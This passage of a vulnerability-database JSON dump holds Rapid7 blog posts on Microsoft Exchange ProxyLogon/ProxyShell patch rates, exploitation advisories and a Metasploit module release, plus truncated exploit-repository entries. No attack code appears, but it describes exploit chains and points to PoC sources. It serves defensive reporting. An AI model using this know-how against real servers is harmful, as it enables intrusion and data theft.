been in the news more than usual lately. Back in March 2021, Microsoft [acknowledged a series of threats](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) exploiting zero-day CVEs in on-premises instances of Exchange Server. Since then, several related exploit chains targeting Exchange have [continued to be exploited in the wild](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>).\n\nMicrosoft [quickly](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) [released](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) [patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>) to help security teams keep attackers out of their Exchange environments. So, what does the state of patching look like today among organizations running impacted instances of Exchange?\n\nThe answer is more mixed \u2014 and more troubling \u2014 than you'd expect.\n\n## What is Exchange, and why should you care?\n\nExchange is a popular email and messaging service that runs on Windows Server operating systems, providing email and calendaring services to tens of thousands of organizations. It also integrates with unified messaging, video chat, and phone services. That makes Exchange an all-in-one messaging service that can handle virtually all communication streams for an enterprise customer.\n\nAn organization's Exchange infrastructure can contain copious amounts of sensitive business and customer information in the form of emails and a type of shared mailbox called Public Folders. This is one of the reasons why Exchange Server vulnerabilities pose such a significant threat. Once compromised, Exchange's search mechanisms can make this data easy to find for attackers, and a robust rules engine means attackers can create hard-to-find automation that forwards data out of the organization.\n\nAn attacker who manages to get into an organization's Exchange Server could gain visibility into their Active Directory or even compromise it. They could also steal credentials and impersonate an authentic user, making phishing and other attempts at fraud more likely to land with targeted victims.\n\n## Sizing up the threats\n\nThe credit for discovering this recent family of Exchange Server vulnerabilities goes primarily to security researcher Orange Tsai, who overviewed them in an August 2021 [Black Hat talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>). He cited 8 vulnerabilities, which resulted in 3 exploit chains:\n\n * ****ProxyLogon:**** This vulnerability could allow attackers to use pre-authentication server-side request forgery (SSRF) plus a post-authentication arbitrary file write, resulting in remote code execution (RCE) on the server.\n * ****ProxyOracle:**** With a cookie from an authenticated user (obtained through a reflected XSS link), a Padding Oracle attack could provide an intruder with plain-text credentials for the user.\n * ****ProxyShell: ****Using a pre-authentication access control list (ACL) bypass, a PrivEsc (not going up to become an administrator but down to a user mailbox), and a post-authentication arbitrary file write, this exploit chain could allow attackers to execute an RCE attack.\n\nGiven the sensitivity of Exchange Server data and the availability of [patches and resources from Microsoft](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) to help defend against these threats, you'd think adoption of these patches would be almost universal. But unfortunately, the picture of patching for this family of vulnerabilities is still woefully incomplete.\n\n## A patchwork of patch statuses\n\nIn Rapid7's OCTO team, we keep tabs on the exposure for major vulnerabilities like these, to keep our customers and the security community apprised of where these threats stand and if they might be at risk. To get a good look at the patch status among Exchange Servers for this family of attack chains, we had to develop new techniques for fingerprinting Exchange versions so we could determine which specific hotfixes had been applied.\n\nWith a few tweaks, we were able to adjust our measurement approach to get a clear enough view that we can draw some strong conclusions about the patch statuses of Exchange Servers on the public-facing internet. Here's what we found:\n\n * Out of the 306,552 Exchange OWA servers we observed, 222,145 \u2014 or 72.4% \u2014were running an impacted version of Exchange (this includes 2013, 2016, and 2019).\n * Of the impacted servers, 29.08% were still unpatched for the ProxyShell vulnerability, and 2.62% were partially patched. That makes 31.7% of servers that may still be vulnerable.\n\n![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/proxyshell_summary_2021.10.01.png)\n\nTo put it another, starker way: 6 months after patches have been available for the ProxyLogon family of vulnerabilities, 1 in 3 impacted Exchange Servers are still susceptible to attacks using the ProxyShell method.\n\nWhen we sort this data by the Exchange Server versions that organizations are using, we see the uncertainty in patch status tends to cluster around specific versions, particularly 2013 Cumulative Update 23. \n\n![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/proxyshell_detailed_2021.10.01.png)\n\nWe also pulled the server header for these instances with the goal of using the version of IIS as a proxy indicator of what OS the servers may be running \u2014 and we found an alarmingly large proportion of instances that were running end-of-life servers and/or operating systems, for which Microsoft no longer issues patch updates.\n\n![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/proxyshell_os_2021.10.01.png)\n\nThat group includes the two bars on the left of this graph, which represent 2007 and 2010 Exchange Server versions: 75,300 instances of 2010 and 8,648 instances of 2007 are still running out there on the internet, roughly 27% of all instances we observed. Organizations still operating these products can count themselves lucky that ProxyShell and ProxyLogon don't impact these older versions of Exchange (as far as we know). But that doesn't mean those companies are out of the woods \u2014 if you still haven't replaced Exchange Server 2010, you're probably also doing other risky things in your environment.\n\nLooking ahead, the next group of products that will go end-of-life are the Windows Server 2012 and 2012 R2 operating systems, represented in green and yellow, respectively, within the graph. That means 92,641 instances of Exchange \u2014 nearly a third of all Exchange Servers on the internet \u2014 will be running unsupported operating systems for which Microsoft isn't obligated to provide security fixes after they go end-of-life in 2023.\n\n## What you can do now\n\nIt's a matter of when, not if, we encounter the next family of vulnerabilities that lets attackers have a field day with huge sets of sensitive data like those contained in Exchange Servers. And for companies that haven't yet patched, ProxyShell and its related attack chains are still a real threat. Here's what you can do now to proactively mitigate these vulnerabilities.\n\n * First things first: If your organization is running one of the 1 in 3 affected instances that are vulnerable due to being unpatched, [install the appropriate patch](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) right away.\n * Stay current with patch updates as a routine priority. It is possible to build Exchange environments with near-100% uptimes, so there isn't much argument to be made for foregoing critical patches in order to prevent production interruptions.\n * If you're running a version of Exchange Server or Windows OS that will soon go end-of-life, start planning for how you'll update to products that Microsoft will continue to support with patches. This way, you'll be able to quickly and efficiently mitigate vulnerabilities that arise, before attackers take advantage of them.\n\nIf you're already a Rapid7 customer, there's good news: [InsightVM](<https://www.rapid7.com/products/insightvm/>) already has authenticated scans to detect these vulnerabilities, so users of the product should already have a good sense of where their Exchange environments stand. On the offensive side, your red teams and penetration testers can highlight the risk of running vulnerable Exchange instances with modules exercising [ProxyLogon](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxylogon_rce/>) and [ProxyShell](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/>). And as our research team continues to develop techniques for getting this kind of detailed information about exposures, we ensure our products know about those methods so they can more effectively help customers understand their vulnerabilities.\n\nBut for all of us, these vulnerabilities are a reminder that security requires a proactive mindset \u2014 and failing to cover the basics like upgrading to supported products and installing security updates leaves organizations at risk when a particularly thorny set of attack chains rears its head.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T14:07:12", "type": "rapid7blog", "title": "For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-06T14:07:12", "id": "RAPID7BLOG:D47FB88807F2041B8820156ECFB85720", "href": "https://blog.rapid7.com/2021/10/06/for-microsoft-exchange-server-vulnerabilities-patching-remains-patchy/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T18:57:37", "description": "![ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers](https://blog.rapid7.com/content/images/2021/08/proxyshell-august.jpg)\n\n_This attack is ongoing. See the `Updates` section at the end of this post for new information as it comes to light. Rapid7 also has a [technical analysis of the ProxyShell exploit chain](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) in AttackerKB._\n\nOn August 5, 2021, in [a Black Hat USA talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>), DEVCORE researcher Orange Tsai shared information on [several exploit chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) targeting on-premises installations of Microsoft Exchange Server. Among the exploit chains presented were ProxyLogon, which was [exploited en masse in February and March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) of 2021, and ProxyShell, an attack chain originally demonstrated at the Pwn2Own hacking competition this past April. As of August 12, 2021, multiple researchers have detected widespread opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using the ProxyShell chain.\n\nAccording to Orange Tsai's demonstration, the ProxyShell exploit chain allows a remote unauthenticated attacker to execute arbitrary commands on a vulnerable on-premises instance of Microsoft Exchange Server via port 443. The exploit is comprised of three discrete CVEs:\n\n * [CVE-2021-34473](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34473/>), a remote code execution vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>)\n * [CVE-2021-34523](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34523/>), an elevation of privilege vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>)\n * [CVE-2021-31207](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-31207/>), a security feature bypass [patched May 11, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>)\n\n_While CVE-2021-34473 and CVE-2021-34523 were patched in April, Microsoft\u2019s advisories note that they were inadvertently omitted from publication until July._\n\nWhen chained, these vulnerabilities allow the attacker to bypass ACL controls, send a request to a PowerShell back-end, and elevate privileges, effectively authenticating the attacker and allowing for remote code execution. Both public and private proof-of-concept exploits have been released as of August 18, 2021\u2014not surprising, since ProxyShell was first demonstrated more than four months ago at Pwn2Own. A number of [technical analyses](<https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/>) of the chain have also [been published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>). See Rapid7's exploit chain analysis [in AttackerKB](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>).\n\nNotably, there has been confusion about which CVE is which across various advisories and research descriptions \u2014 Microsoft, for instance, describes CVE-2021-34473 as a remote code execution vulnerability, but [Orange Tsai\u2019s Black Hat slides](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) list CVE-2021-34473 as the initial ACL bypass. Community researchers have also [expressed confusion](<https://twitter.com/GossiTheDog/status/1424791670076411905>) over CVE numbering across the ProxyShell chain, but ultimately, the takeaway is the same: Organizations that have not patched these vulnerabilities should do so on an emergency basis and invoke incident response protocols to look for indicators of compromise.\n\n## Affected products\n\nThe following versions of Exchange Server are vulnerable to all three ProxyShell CVEs:\n\n * Microsoft Exchange Server 2019 Cumulative Update 9\n * Microsoft Exchange Server 2019 Cumulative Update 8\n * Microsoft Exchange Server 2016 Cumulative Update 20\n * Microsoft Exchange Server 2016 Cumulative Update 19\n * Microsoft Exchange Server 2013 Cumulative Update 23\n\nOrganizations that rely on on-premises installations of Exchange Server and are not able to move to O365 should ensure that all Exchange instances are patched on a zero-day basis. In order to do this, it is vital that defenders keep up-to-date with quarterly Cumulative Updates, since Microsoft only releases security fixes for [the most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>).\n\nWhile ProxyShell and March\u2019s ProxyLogon exploit chain are the two attacks that have already resulted in widespread exploitation, they are not the only exploit chains targeting on-premises Exchange servers. Exchange continues to be valuable and accessible attack surface area for both sophisticated and run-of-the-mill threat actors, and we will certainly see additional widespread exploitation in the future.\n\nRead more from our emergent threat response team on [high-priority attack surface area](<https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/>), including Windows Print Spooler and Pulse Connect Secure VPNs.\n\n## Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to all three ProxyShell CVEs with authenticated vulnerability checks.\n\nThe following attacker behavior detection is available InsightIDR customers:\n\n * Suspicious Process - Process Spawned By Outlook Web Access\n\nThis detection will identify processes spawned by Microsoft IIS processes that have been configured to serve as Outlook Web Access web servers for Microsoft Exchange. Rogue processes being spawned may be an indication of a successful attack against these systems and has been observed targeted by various malicious actors.\n\nIf this detection fires in your environment, you should determine whether it is part of authorized administrator activity. Examine the parent process that spawned the command, and anything else that process may have spawned. If this activity is not benign or expected, consider rebuilding the host from a known, good source and having any possibly affected users change their passwords.\n\n## Updates\n\n**August 25, 2021:** Rapid7 estimates that there are over 84,000 Exchange servers that appear vulnerable to the ProxyShell attack chain. \n![ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers](https://blog.rapid7.com/content/images/2021/08/8.25.ProxyShell.png)\n\n**August 23, 2021:** Multiple sources have now [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that at least one ransomware gang (LockFile) is chaining ProxyShell with PetitPotam (CVE-2021-36942) to compromise Windows domain controllers. See [Rapid7's blog on PetitPotam](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>) for patching and additional required mitigation advice.\n\n**August 21, 2021:** Rapid7's Managed Detection and Response (MDR) and Incident Response (IR) teams have noted a significant uptick in Exchange exploitation by multiple threat actors. Community researchers have also noted that attackers are exploiting the ProxyShell vulnerabilities to drop webshells and [spread ransomware](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) on vulnerable targets.\n\nWe are monitoring for additional attacker behavior and will update this blog as further information comes to light.\n\n**August 16, 2021:** We have begun to see public proof-of-concept (PoC) code implementing the ProxyShell exploit chain. Exploitation is ongoing.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T21:08:43", "type": "rapid7blog", "title": "ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-12T21:08:43", "id": "RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "href": "https://blog.rapid7.com/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-20T20:19:12", "description": "## Anyone enjoy making chains?\n\n![Metasploit Wrap-Up](https://blog.rapid7.com/content/images/2021/08/metasploit-blg-2-small.png)\n\nThe community is hard at work building chains to pull sessions out of vulnerable Exchange servers. This week Rapid7's own [wvu](<https://github.com/wvu-r7>) & [Spencer McIntyre](<https://github.com/zeroSteiner>) added a module that implements the ProxyShell exploit chain originally demonstrated by [Orange Tsai](<https://twitter.com/orange_8361>). The module also benefited from research and analysis by [Jang](<https://twitter.com/testanull>), [PeterJson](<https://twitter.com/peterjson>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>) to make it as simple as finding an email for an administrator of vulnerable version of exchange as the entrypoint to chain [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>), [CVE-2021-34523](<https://attackerkb.com/topics/RY7LpTmyCj/cve-2021-34523?referrer=blog>), & [CVE-2021-34473](<https://attackerkb.com/topics/pUK1MXLZkW/cve-2021-34473?referrer=blog>) into sessions for everyone to enjoy.\n\n## Great to see some GSoC value in the wild.\n\nWith Google Summer of Code 2021 moving into its final phases, [pingport80](<https://github.com/pingport80>) had 4 PRs land in this week's release. These improvements and fixes to interactions with sessions make post exploitation tasks more accessible, bringing the community more capabilities and stability along the way.\n\n## New module content (2)\n\n * [Lucee Administrator imgProcess.cfm Arbitrary File Write](<https://github.com/rapid7/metasploit-framework/pull/15525>) by [wvu](<https://github.com/wvu-r7>),, [iamnoooob](<https://github.com/iamnoooob>), and [rootxharsh](<https://github.com/rootxharsh>), which exploits [CVE-2021-21307](<https://attackerkb.com/topics/16OOl6KSdo/cve-2021-21307?referrer=blog>) \\- An unauthenticated user is permitted to make requests through the `imgProcess.cfm` endpoint, and using the `file` parameter which contains a directory traversal vulnerability, they can write a file to an arbitrary location. Combining the two capabilities, this module writes a CFML script to the vulnerable server and achieves unauthenticated code execution as the user running the Lucee server.\n * [Microsoft Exchange ProxyShell RCE](<https://github.com/rapid7/metasploit-framework/pull/15561>) by [wvu](<https://github.com/wvu-r7>), [Jang](<https://twitter.com/testanull>), [Orange Tsai](<https://twitter.com/orange_8361>), [PeterJson](<https://twitter.com/peterjson>), [Spencer McIntyre](<https://github.com/zeroSteiner>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>), which exploits [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>) \\- Added an exploit for the ProxyShell attack chain against Microsoft Exchange Server.\n\n## Enhancements and features\n\n * [#15540](<https://github.com/rapid7/metasploit-framework/pull/15540>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- This adds an option to `cmd_execute` to have the command run in a subshell by Meterpreter.\n * [#15556](<https://github.com/rapid7/metasploit-framework/pull/15556>) from [pingport80](<https://github.com/pingport80>) \\- This adds shell session compatibility to the `post/windows/gather/enum_unattend` module.\n * [#15564](<https://github.com/rapid7/metasploit-framework/pull/15564>) from [pingport80](<https://github.com/pingport80>) \\- This adds support to the `get_env` and `command_exists?` post API methods for Powershell session types.\n\n## Bugs fixed\n\n * [#15303](<https://github.com/rapid7/metasploit-framework/pull/15303>) from [pingport80](<https://github.com/pingport80>) \\- This PR ensures that the shell `dir` command returns a list.\n * [#15332](<https://github.com/rapid7/metasploit-framework/pull/15332>) from [pingport80](<https://github.com/pingport80>) \\- This improves localization support and compatibly in the session post API related to the `rename_file` method.\n * [#15539](<https://github.com/rapid7/metasploit-framework/pull/15539>) from [tomadimitrie](<https://github.com/tomadimitrie>) \\- This improves the OS version in the `check` method of `exploit/windows/local/cve_2018_8453_win32k_priv_esc`.\n * [#15546](<https://github.com/rapid7/metasploit-framework/pull/15546>) from [timwr](<https://github.com/timwr>) \\- This ensures that the UUID URLs of stageless reverse_http(s) payloads are stored in the database so that they can be properly tracked with payload UUID tracking. This also fixes an error caused by accessing contents of a url list without checking if it's valid first.\n * [#15570](<https://github.com/rapid7/metasploit-framework/pull/15570>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a bug in the `auxiliary/scanner/smb/smb_enum_gpp` module where the path that was being generated by the module caused an SMB exception to be raised.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-08-12T17%3A57%3A38%2B01%3A00..2021-08-20T05%3A13%3A43-05%3A00%22>)\n * [Full diff 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/compare/6.1.0...6.1.1>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T19:12:00", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T19:12:00", "id": "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "href": "https://blog.rapid7.com/2021/08/20/metasploit-wrap-up-126/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-03-12T14:43:07", "description": "# ProxyShell_POC\nPOC for ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-02T07:29:24", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34523", "CVE-2021-31207", "CVE-2021-34473"], "modified": "2022-03-12T13:42:54", "id": "E458F533-4B97-51A1-897B-1AF58218F2BF", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T19:01:02", "description": "# ProxyShell\nProof of Concept Exploit for Microsoft Exchange CVE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-04T15:34:03", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-23T18:03:46", "id": "2D0AC1C7-F656-5D6B-9FC2-79525014BE1E", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-31T01:27:14", "description": "# log4j-finder\n\nA Python3 script to scan the filesystem to find ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-14T10:04:42", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-03-30T22:28:03", "id": "6A4495E8-D723-5923-BB6A-B9EA838CF69B", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-27T12:02:26", "description": "# scan4log4shell\n> Scanner to send specially crafted requests an...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-13T06:09:04", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-45046", "CVE-2021-44228", "CVE-2021-45105"], "modified": "2022-02-27T02:39:14", "id": "2AF28508-1272-5281-BDB7-B44D3EFC7C72", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-18T17:13:06", "description": "# \ud83d\udca1 Log4j CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 Resourc...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": 